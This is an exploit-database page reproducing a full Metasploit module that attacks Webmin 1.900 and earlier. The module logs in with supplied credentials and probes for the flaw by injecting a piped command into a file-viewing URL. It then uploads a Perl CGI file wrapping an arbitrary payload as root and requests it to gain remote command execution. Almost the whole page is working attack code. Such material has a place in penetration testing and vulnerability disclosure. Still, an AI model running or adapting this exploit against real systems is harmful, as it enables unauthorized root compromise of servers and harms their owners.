Webmin 1.900 Upload Authenticated Remote Command Execution

2019.03.16
Risk: High
Local: No
Remote: Yes
CVE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Webmin Upload Authenticated RCE', 'Description' => %q( This module exploits an arbitrary command execution vulnerability in Webmin 1.900 and lower versions. Any user authorized to the "Upload and Download" module can execute arbitrary commands with root privileges. In addition, if the 'Running Processes' (proc) privilege is set the user can accurately determine which directory to upload to. Webmin application files can be written/overwritten, which allows remote code execution. The module has been tested successfully with Webmin 1.900 on Ubuntu v18.04. Using GUESSUPLOAD attempts to use a default installation path in order to trigger the exploit. ), 'Author' => [ 'AkkuS <Azkan Mustafa AkkuA>', # Vulnerability Discovery, Initial PoC module 'Ziconius <Kris.Anderson[at]immersivelabs.com>' # Updated MSF module; removing 'proc' requirement. ], 'License' => MSF_LICENSE, 'References' => [ ['EDB', '46201'], ['URL', 'https://pentest.com.tr/exploits/Webmin-1900-Remote-Command-Execution.html'] ], 'Privileged' => true, 'Payload' => { 'DisableNops' => true, 'Space' => 512, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'perl' } }, 'DefaultOptions' => { 'RPORT' => 10000, 'SSL' => true }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Targets' => [['Webmin <= 1.900', {}]], 'DisclosureDate' => 'Jan 17 2019', 'DefaultTarget' => 0) ) register_options [ OptBool.new('GUESSUPLOAD', [true, 'If no "proc" permissions exists use default path.', false]), OptString.new('USERNAME', [true, 'Webmin Username']), OptString.new('PASSWORD', [true, 'Webmin Password']), OptString.new('FILENAME', [false, 'Filename used for the uploaded data']), OptString.new('TARGETURI', [true, 'Base path for Webmin application', '/']) ] end def login res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri, 'session_login.cgi'), 'cookie' => 'testing=1', 'vars_post' => { 'page' => '', 'user' => datastore['USERNAME'], 'pass' => datastore['PASSWORD'] } }) if res && res.code == 302 && res.get_cookies =~ /sid=(\w+)/ return $1 end return nil unless res '' end ## # Target and input verification ## def check cookie = login return CheckCode::Detected if cookie == '' return CheckCode::Unknown if cookie.nil? vprint_status('Attempting to execute...') command = "echo #{rand_text_alphanumeric(0..9)}" res = send_request_cgi({ 'uri' => "#{target_uri}/file/show.cgi/bin/#{rand_text_alphanumeric(5)}|#{command}|", 'cookie' => "sid=#{cookie}" }) if res && res.code == 200 && res.message =~ /Document follows/ return CheckCode::Vulnerable end CheckCode::Safe end ## # Exploiting phase ## def exploit cookie = login if cookie == '' || cookie.nil? fail_with(Failure::Unknown, 'Failed to retrieve session cookie') end print_good("Session cookie: #{cookie}") ## # Directory and SSL verification for referer ## phost = ssl ? 'https://' : 'http://' phost << peer print_status("Target URL => #{phost}") res = send_request_raw( 'method' => 'POST', 'uri' => normalize_uri(target_uri, 'proc', 'index_tree.cgi'), 'headers' => { 'Referer' => "#{phost}/sysinfo.cgi?xnavigation=1" }, 'cookie' => "redirect=1; testing=1; sid=#{cookie}" ) unless res && res.code == 200 fail_with(Failure::Unknown, 'Request failed') end print_status 'Searching for directory to upload...' if res.body =~ /Running Processes/ && res.body =~ /[^ ] ([\/\w]+)miniserv\.pl/ directory = $1 elsif datastore['GUESSUPLOAD'] print_warning('Could not determine upload directory. Using /usr/share/webmin/') directory = '/usr/share/webmin/' else print_error('Failed to determine webmin share directory') print_error('Set GUESSUPLOAD to attempt upload to a default location') return end directory << 'file' filename = datastore['FILENAME'].present? ? datastore['FILENAME'] : "#{rand_text_alpha_lower(5..8)}.cgi" filename << '.cgi' unless filename.end_with?('.cgi') upload_attempt(phost, cookie, directory, filename) ## # Loading phase of the vulnerable file # Command execution and shell retrieval ## print_status("Attempting to execute the payload...") command = payload.encoded res = send_request_cgi({ 'uri' => normalize_uri(target_uri, 'file', filename), 'cookie' => "sid=#{cookie}" }) end def upload_attempt(phost, cookie, dir, filename) limit = rand_text_alpha_upper(5..10) tmpvar = rand_text_alpha_upper(3..8) code = <<~HERE #!/usr/bin/perl $#{tmpvar} = <<'#{limit}'; #{payload.encoded} #{limit} `$#{tmpvar}`; HERE message = Rex::MIME::Message.new message.add_part(code, nil, nil, "form-data; name=\"upload0\"; filename=\"#{filename}\"") message.add_part(dir, nil, nil, 'form-data; name="dir"') message.add_part('root', nil, nil, 'form-data; name="user"') message.add_part('1', nil, nil, 'form-data; name="group_def"') message.add_part('', nil, nil, 'form-data; name="group"') message.add_part('0', nil, nil, 'form-data; name="zip"') message.add_part('1', nil, nil, 'form-data; name="email_def"') message.add_part('Upload', nil, nil, 'form-data; name="ok"') res2 = send_request_raw( 'method' => 'POST', 'uri' => normalize_uri(target_uri, 'updown', 'upload.cgi'), 'vars_get' => {'id' => "#{rand_text_numeric(8..12)}"}, 'data' => message.to_s, 'ctype' => "multipart/form-data; boundary=#{message.bound}", 'headers' => { 'Referer' => "#{phost}/updown/?xnavigation=1" }, 'cookie' => "redirect=1; testing=1; sid=#{cookie}" ) if res2 && res2.code == 200 && res2.body =~ /Saving file/ print_good "File #{filename} was successfully uploaded." register_file_for_cleanup(filename) else print_error 'Upload failed.' fail_with(Failure::UnexpectedReply, 'Failed to upload file') end end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top